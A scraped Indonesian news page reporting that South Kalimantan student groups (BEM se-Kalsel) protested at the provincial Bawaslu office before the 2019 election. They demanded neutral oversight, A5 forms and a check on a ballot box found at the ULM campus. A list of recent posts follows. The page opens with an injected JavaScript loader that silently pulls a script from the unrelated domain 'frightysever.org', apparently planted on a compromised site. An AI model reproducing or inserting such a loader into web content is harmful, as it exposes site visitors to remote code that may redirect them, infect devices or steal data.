(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

BEM se-Kalsel Minta KPU dan Bawaslu Bekerja Lebih Maksimal


BANJARMASIN, Puluhan mahsiswa yang tergabung dalam Badan Eksekutif Mahasiswa (BEM) se-Kalsel, mendatangi kantor Bawaslu Kalsel, Selaa (2/4). Mereka menyerukan agar lembaga penyelenggara dan pengawas pemilu tetap menjaga netralitas dalam Pemilu 2019 yang digelar 17 April nanti,

Aksi turun ke jalan yang dilakukan mahasiswa, menurut mereka sebagai bagian tanggung jawab dan perhatian untuk mengawal proses demokrasi yang sebentar lagi berjalan. “Kita lihat banyak masyarakat kebingungan proses pemilu. Kurang dari 49 persen masyarakat tidak tahu kapan tanggal pemilu berlangsung,” jelas Ghulam Reza, koordinator aliansi BEM se-Kalsel.

Kepada Bawaslu, mahasiswa menuntut untuk lebih maksimal melakukan pengawasan untuk menghindari terjadi pelanggaran pemilu. Baik yang dilakukan secara sitematis, maupun peserta pemilu dengan cara-cara yang tidak fair.

Disamping itu, mereka meminta juga kepada KPU untuk lebih serius melakukan persiapan pemilu yang tinggal 14 hari lagi. Mengingat, sampai saat ini masih banyak dari kalangan mahasiswa yang belum mendapatkan formulir A5. Pun sosialisasi kepada masyarakat yang dinilai masih minim.

“Sekarang ini masih banyak masyarakat yang belum tahu bagaimana cara memilih dari banyaknya surat suara yang ada di TPS nanti,” ungkapnya.

Pun, mereka juga meminta Bawaslu untuk mengusut kabar dari mahasiswa ULM yang menemuan kotak suara di dalam kampus. “Berangkat dari ketidakpastiaan itu, (kami) turun ke jalan untuk menyuarakan,” pungkas Ghulam.

Sementara itu Komisioner Bawaslu Kalsel, Nurcholis Majid yang menemui mahasiswa mengatakan, akan memastikan agar KPU bisa menindaklanjuti semua keluhan yang disuarakan serta memberi imbauan kepada KPU agar mahasiswa bisa mendapat formulir A5. “Saya berharap jadi persoalan bersama, KPU, Bawaslu, penyelenggara demokrasi, parpol, pemerintah untuk mensosialisasikan semua tahapan. KPU maksimalkan waktu (sosialisasi) yang ada,” ujar Nurcholis.

Untuk temuan kotak suara di dalam kampus, Bawaslu mengakui sama belum menerima laporan. Pihaknya akan langsung meluncur dan melakukan kroscek segera guna memastikan.(mario)

Reporter:Mario
Editor:Cell

Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

5 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

8 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

8 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

10 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

12 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

13 jam ago

This website uses cookies.